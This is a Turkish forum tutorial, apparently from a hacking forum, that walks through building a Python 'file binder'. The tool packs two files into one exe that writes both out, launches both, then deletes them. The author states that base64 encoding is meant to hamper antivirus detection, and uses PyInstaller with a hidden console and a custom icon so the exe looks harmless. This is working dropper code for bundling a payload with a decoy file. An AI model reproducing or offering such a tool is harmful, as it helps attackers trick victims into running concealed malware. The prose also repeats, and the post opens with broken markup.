[COLOR="LemonChiffonMerhabalar, ben Black Viking. Bu konuda Python ile bir binder yazalım dedim.
Şimdii, en başta projeyi yazacağımız dili seçiyoruz, başlıktan anlayacağınız üzere ben Python'u seçtim. Python bilmiyorsanız bile, okursanız binderlein çalışma mantığını anlayabilirsiniz.
Github: [URL="https://tik.lat/zNUMh"] https://github.com/blackvkng/FileBinder[/URL]
Projenin nasıl çalışacağını düşünmeliyiz, bir binder iki dosyanın içeriğini alıp onları sonradan çalıştıran bir exe dosyası oluşturmalı.
Tamamdır, o zaman biz de dosyayı binary şeklinde programa okutur ve bir değişkene atarız. Atadığımz değişkendeki veriyi program sonradan bir dosyaya kaydedip çalıştırır ve ardından siler.
Artık algoritmamız hazır, hemen gerekli gördüğümüz modülleri import edip main fonksiyonumuzu yazalım.
Görüldüğü üzere, dosya isimlerini, gerekli değişknleri falan atadık.
Burda öenmli olan nokta,
Burda dosyaları açıp, içeriklerini binary formatında aldıkve base64 ile encode ettik.
Neden base64 ile encode ettik derseniz, binary'i base64 formatında saklamak, antilerin işini zorlaştıracaktır
Sonra değişkenleri "generatePyBinder" fonksiyonuna göndermişiz, haydi o fonksiyonu inceleyelim.
Ooo, işte en önemli fonksiyon... Bu fonksiyon bir Python scripti oluşturuıyor. İşte bu script iki dosyanın içeriğini bir sonradan açtığı bir dosyaya kaydedip o dosyaların her ikisini de çalıştırıyor.
Biraz daha ayrıntılı inceleyelim, şimdi binary formatında aldığımız veriyi,
değişkenlerine base64 decode ederek atamışız. Sonra da, bunları bir dosyaya yazdırmışız,
Evet artık, çalıştırmamız gerek, çalıştıktan sonra da silmeliyiz dosyaları...
Bu kadar, dosyaları çalıştırdı ve sonrasında sildi... Görevini yerine getirdi. Ama bunu yapan script py formatında olmamalı, exe olmalı... Bunun için PyInstaller kullandık. Kurması çok basittir,
Bu kadar, şimdi nasıl kullanıldığına bakalım. Bu dosya çalıştığında konsol gözükmemeli, bir icon dosyası olmalı, tek bir dosya olmalı. PyInstaller'in parametrelerine bakalım,
Tam da ihtiyacımız olan parametreler... O zaman exe oluşturan fonksiyonumuzu da yazalım
Fonksiyonuzmuz bu, "args" değişkeni gördüğünüz üzere, icon adını ve exe formatına çevirlecek py dosyasının adını almış.
Sonra subprocess ile "args" değişkeninde yer alan komutları çalıştırdık.
En son oluşan exe dosyasını bir önceki dizine kopyaladık ve önceden oluşturduğumuz gereksiz(?) exec dizinini sildik...
Kodumuz bu kadardı, hadi bir de çalıştırmayı deneyelim,
Evet! Exe dosyamız oluştu, artık çalışıyor mu diye deneyebilirsiniz.
Bir yanlışım olduysa, özür diliyorum...
Buraya kadar okuduysanız, teşekkür ederim. Umarım yararlı olmuştur.[/COLOR]
Şimdii, en başta projeyi yazacağımız dili seçiyoruz, başlıktan anlayacağınız üzere ben Python'u seçtim. Python bilmiyorsanız bile, okursanız binderlein çalışma mantığını anlayabilirsiniz.
Github: [URL="https://tik.lat/zNUMh"] https://github.com/blackvkng/FileBinder[/URL]
Projenin nasıl çalışacağını düşünmeliyiz, bir binder iki dosyanın içeriğini alıp onları sonradan çalıştıran bir exe dosyası oluşturmalı.
Tamamdır, o zaman biz de dosyayı binary şeklinde programa okutur ve bir değişkene atarız. Atadığımz değişkendeki veriyi program sonradan bir dosyaya kaydedip çalıştırır ve ardından siler.
Artık algoritmamız hazır, hemen gerekli gördüğümüz modülleri import edip main fonksiyonumuzu yazalım.
Görüldüğü üzere, dosya isimlerini, gerekli değişknleri falan atadık.
Burda öenmli olan nokta,
Kod:
...
file1binary = base64.b64encode(open(file1Name, "rb").read())
file2binary = base64.b64encode(open(file2Name, "rb").read())
...
Burda dosyaları açıp, içeriklerini binary formatında aldıkve base64 ile encode ettik.
Neden base64 ile encode ettik derseniz, binary'i base64 formatında saklamak, antilerin işini zorlaştıracaktır
Sonra değişkenleri "generatePyBinder" fonksiyonuna göndermişiz, haydi o fonksiyonu inceleyelim.
Ooo, işte en önemli fonksiyon... Bu fonksiyon bir Python scripti oluşturuıyor. İşte bu script iki dosyanın içeriğini bir sonradan açtığı bir dosyaya kaydedip o dosyaların her ikisini de çalıştırıyor.
Kod:
def generatePyBinder(name, f1name, f2name, f1, f2):
template = """
import os
import sys
import time
import base64
def main():
file1Name = "%s"
file2Name = "%s"
file1binary = base64.b64decode("%s")
file2binary = base64.b64decode("%s")
file1 = open(file1Name, "wb")
file1.write(file1binary)
file1.flush()
file1.close()
file2 = open(file2Name, "wb")
file2.write(file2binary)
file2.flush()
file2.close()
os.startfile(file1Name)
os.startfile(file2Name)
time.sleep(3)
os.remove(file1Name)
os.remove(file2Name)
if __name__ == "__main__":
if os.name == "nt":
try:
main()
except:
pass
else:
sys.exit()"""%(f1name, f2name, f1, f2)
file = open(name+".py", "w")
file.write(template)
file.flush()
file.close()
return name+".py"
Biraz daha ayrıntılı inceleyelim, şimdi binary formatında aldığımız veriyi,
Kod:
...
file1binary = base64.b64decode("%s")
file2binary = base64.b64decode("%s")
...
değişkenlerine base64 decode ederek atamışız. Sonra da, bunları bir dosyaya yazdırmışız,
Kod:
...
file1 = open(file1Name, "wb")
file1.write(file1binary)
file1.flush()
file1.close()
file2 = open(file2Name, "wb")
file2.write(file2binary)
file2.flush()
file2.close()
...
Evet artık, çalıştırmamız gerek, çalıştıktan sonra da silmeliyiz dosyaları...
Kod:
...
os.startfile(file1Name)
os.startfile(file2Name)
time.sleep(3)
os.remove(file1Name)
os.remove(file2Name)
...
Bu kadar, dosyaları çalıştırdı ve sonrasında sildi... Görevini yerine getirdi. Ama bunu yapan script py formatında olmamalı, exe olmalı... Bunun için PyInstaller kullandık. Kurması çok basittir,
Kod:
python -m pip install pyinstaller
Bu kadar, şimdi nasıl kullanıldığına bakalım. Bu dosya çalıştığında konsol gözükmemeli, bir icon dosyası olmalı, tek bir dosya olmalı. PyInstaller'in parametrelerine bakalım,
Kod:
--onefile
--noconsole
--icon=your_icon.ico
Tam da ihtiyacımız olan parametreler... O zaman exe oluşturan fonksiyonumuzu da yazalım
Fonksiyonuzmuz bu, "args" değişkeni gördüğünüz üzere, icon adını ve exe formatına çevirlecek py dosyasının adını almış.
Sonra subprocess ile "args" değişkeninde yer alan komutları çalıştırdık.
En son oluşan exe dosyasını bir önceki dizine kopyaladık ve önceden oluşturduğumuz gereksiz(?) exec dizinini sildik...
Kodumuz bu kadardı, hadi bir de çalıştırmayı deneyelim,
Evet! Exe dosyamız oluştu, artık çalışıyor mu diye deneyebilirsiniz.
Bir yanlışım olduysa, özür diliyorum...
Buraya kadar okuduysanız, teşekkür ederim. Umarım yararlı olmuştur.[/COLOR]

